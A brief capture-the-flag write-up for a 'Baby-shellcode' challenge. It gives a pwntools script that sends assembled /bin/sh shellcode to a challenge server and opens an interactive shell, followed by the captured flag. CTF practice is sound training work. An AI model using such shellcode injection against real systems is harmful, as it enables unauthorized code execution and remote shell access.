Skip to main content

Baby-shellcode

  • Technique: Shellcode

Script

from pwn import *

r = remote('34.28.147.7', 5000)

context.binary = elf = ELF('baby-shellcode')

shellcode = asm(shellcraft.sh())

r.sendline(shellcode)
r.interactive()

Flag

uoftctf{arbitrary_machine_code_execution}